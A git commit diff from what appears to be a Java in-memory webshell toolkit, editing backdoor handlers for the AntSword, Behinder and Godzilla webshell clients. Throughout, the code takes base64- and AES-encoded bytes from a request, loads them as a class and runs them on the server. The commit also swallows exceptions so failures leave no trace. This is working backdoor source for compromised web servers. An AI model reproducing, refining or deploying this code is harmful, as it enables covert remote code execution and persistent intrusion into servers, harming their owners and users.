fix

Author: ReaJason

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java

@@ -31,7 +31,7 @@ public boolean equals(Object obj) {
             if (value != null && value.contains(headerValue)) {
                 String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
                 byte[] bytes = base64Decode(parameter);
-                Object instance = (new AntSword(this.getClass().getClassLoader())).g(bytes).newInstance();
+                Object instance = (new AntSword(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
                 instance.equals(new Object[]{request, response});
                 return true;
             }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java

@@ -44,7 +44,7 @@ public boolean equals(Object obj) {
                 map.put("request", request);
                 map.put("response", getInternalResponse(response));
                 map.put("session", session);
-                String parameter = ((BufferedReader) invokeMethod(request, "getReader")).readLine();
+                String parameter = ((BufferedReader) invokeInternalMethod(request, "getReader")).readLine();
                 byte[] bytes = x(base64Decode(parameter));
                 Object instance = (new Behinder(this.getClass().getClassLoader())).g(bytes).newInstance();
                 instance.equals(map);
@@ -66,8 +66,7 @@ public byte[] x(byte[] s) {
             initMethod.invoke(c, 2, constructor.newInstance(pass.getBytes(), "AES"));
             Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
             return ((byte[]) doFinalMethod.invoke(c, s));
-        } catch (Exception e) {
-            e.printStackTrace();
+        } catch (Exception ignored) {
             return null;
         }
     }
@@ -122,7 +121,7 @@ public static byte[] base64Decode(String bs) {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName) {
+    public static Object invokeInternalMethod(Object obj, String methodName) {
         try {
             Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
             Method method = null;
@@ -133,10 +132,6 @@ public static Object invokeMethod(Object obj, String methodName) {
                     clazz = clazz.getSuperclass();
                 }
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
             method.setAccessible(true);
             return method.invoke(obj instanceof Class ? null : obj);
         } catch (Exception e) {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java

@@ -52,8 +52,7 @@ public boolean equals(Object obj) {
                 }
                 return true;
             }
-        } catch (Exception e) {
-            e.printStackTrace();
+        } catch (Exception ignored) {
         }
         return false;
     }